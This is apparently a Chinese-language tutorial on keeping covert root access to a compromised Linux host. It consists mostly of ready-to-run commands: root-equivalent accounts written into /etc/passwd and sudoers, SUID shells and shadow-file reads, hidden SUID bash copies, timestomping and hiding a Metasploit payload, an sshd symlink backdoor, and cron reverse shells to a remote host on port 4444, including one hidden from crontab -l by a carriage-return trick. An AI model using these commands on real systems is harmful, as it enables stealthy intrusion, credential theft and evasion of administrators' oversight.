前提
已经提权到管理员权限
一、创建账户
1、创建一个自定义密码的账户
已知,Linux中所有的用户的信息 存储在/etc/passwd这个文件中 。可以利用管理员权限修改这个文件, 添加一个账户 。
利用linux中的密码的编码算法 生成对应密码 (不知道的百度搜索一下)
加密密码:
password@123-->advwtv/9yU5yQ
使用命令生成账户或直接复制到passwd文件中:
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
测试:
登录成功
2、直接创建管理员账户
#创建账户
useradd -o -u 0 -g 0 sun_happy
#设置密码
passwdpassword@123
3、配置sudoers文件
修改
/etc/sudoers
配置文件 在此文件配置用户Sun_happy ALL=(ALL) NOPASSWD:ALL
在之前的文章中已经介绍过了,就不过多的描述了。
执行命令时 ,命令之前加上 sudo就可以以管理员的身份运行 。
4、普通用户+SUID权限
(1)给以下命令加上 s权限:
chmod u+s /bin/bash $ bash -p
chmod u+s /bin/sh $ sh -p
chmod u+s /bin/env $ env /bin/sh -p
chmod u+s /bin/vi $ vi /etc/shadow
chmod u+s /bin/awk $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat $ cat /etc/shadow
chmod u+s /usr/bin/curl $ curl file:///etc/shadow
chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \;
find /etc/passwd -exec bash -p \;
缺点是:容易被发现。
(2)创建一个普通用户+SUID:
#首先创建一个普通用户
useradd lisi
passwd lisi
lisi1234
#利用root账户复制bash
cp /bin/bash /tmp/.shell # 名为.开头的隐藏文件
ll -a /tmp #显示隐藏文件
chmod 4755 /tmp/.shell # 给.shell赋予可执行的权限与SUID权,就相当于赋予bash
#利用普通账户执行 bash (.shell)
/tmp/.shell
#测试:
优点:该方法不容易被管理员发现发现
二、文件属性修改
1、修改文件时间
管理员可以通过查看最近被修改文件来找到有可能是黑客操作的文件 。为了权限维持,就采用修改文件时间的方法。
find按时间查找文件:
find / -atime -5 | grep msf #查找最近5天修改的 带有msf 的文件
-atime [+|-]# 访问时间 access -mtime [+|-]# 更新时间 modify -ctime [+|-]# 创建时间 create # 解读: -# 表示[0,#) # 表示[#,#+1) +# 表示[#+1,∞] # 实例:比如 #=3的含义如下 -3 表示 3个24h之内 (系统称之为三天内) 3 表示 第4个24h期间内 (系统称之为是第三天) +3 表示 超过4个24h (系统称之为是超过三天)
实验:
#新创建一个伪木马文件:msf_5555.elf
内容随便填写
测试:
成功搜索到。
#修改文件访问时间
先找到一个主机存在的很久的文件然后将我们新访问过的木马的访问时间修改:
#touch -r 旧文件 新文件 touch -r /root/anaconda-ks.cfg ./msf_linux.elf #修改b.txt文件的访问时间与修改时间为2022年8月12日8点00分00秒 touch -t 202208120800.00 msf_linux.elf
测试:
查看修改过的文件访问时间:
stat 文件名
2、创建隐藏文件
在Linux中每一个目录中,都保存有两个固定目录 。
验证:
#通过ll -a 查看
因此无法创建名为..与.的目录:
由于熟悉Linux的人基本上都知道这个知识点,因此我们需要创建名为... ....的文件夹,成功隐藏,可以多创建几级:mkdir /home/.../...
#把木马移动到该隐藏文件夹...下:
#设置木马的可执行权限 : chmod u+x xxxxx,设置成功后就可以尝试用kali连接了,这里就不赘述了
3、文件上锁
该方式利用了工作人员的潜意识来进行维权:就是当删除一个文件时,系统不允许,那么潜意识就会认为这是系统文件。
Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,还可以利用文件和目录具有的一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。
实验:
#chattr [+] [属性] 文件或目录名
touch aaa.txt #创建测试文件
chattr +i aaa.txt #设置属性
测试结果:
三、SSH后门
1、软连接后门
在当前系统中开一个端口 ,这个端口通过SSH服务创建的 ,可以用来登录使用 。
实验:
#查看ssh的22端口使用情况
netstat -antp | grep 22
如果我们留后门还流留22,就很容易被发现。
#开端口软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666
#使用windows连接
连接成功
#测试能否通过22端口查看到
查看不到
2、隐身登录
注意:这里说的隐身登录 ,是登录不能不被`who、w、last`等命令查看到,但是可以被 `netstat -antp` 查看到 。因此该方法比较鸡肋,了解一下即可。
实验:
#先创建一个普通用户:sunhappy
#然后输入以下命令:
ssh -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -i ssh -o UserKnownHostsFile=/dev/null -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -if
3、利用公钥和私钥登录
之前我的文章里有写,链接如下:
Linux提权
四、定时任务(crontab)
定时任务,在Linux系统中创建的一些定时自动的任务 。
创建shell反弹定时任务:
#查看定时任务
crontab -e
#添加定时任务
*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1'#有关于定时任务的介绍在Linux文章中已经介绍过了,这里简单介绍,就是该任务每分钟执行一次
创建一个定时运行木马的任务:
35 * * * * /usr/share/icons/gnome/scalable/devices/msf_linux_reverse_tcp_64.elf
隐藏定时任务:
#上面的两种定时任务容易被发现,需要进行隐藏
(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1';\rno crontab for `whoami`%100c\n")|crontab -
#在linux终端中执行 创建隐藏的定时任务,利用crontab -l 查询不到
#但是我们可以在定时任务存储文件中 查询
cat -A /var/spool/cron/root
五、自启动文件
在linux系统中,有一些文件是开机或者 登录时 自动被加载 ,这些文件就有可能被黑客利用。
/etc/rc.d/rc.local:系统在启动时进行加载执行,/etc/rc.local是本文件的软链接文件。
/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。
/etc/bashrc: 为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。
~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
~/.bashrc: 该文件包含专用于你用户的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件。
值得注意的是后三个都是隐藏文件。
实验:
#打开/etc/profile
#在该文件种写入想要的程序,登录时会自动执行
比如加入:chmod u+s /usr/bin/bash
重启Linux登陆后则执行该语句。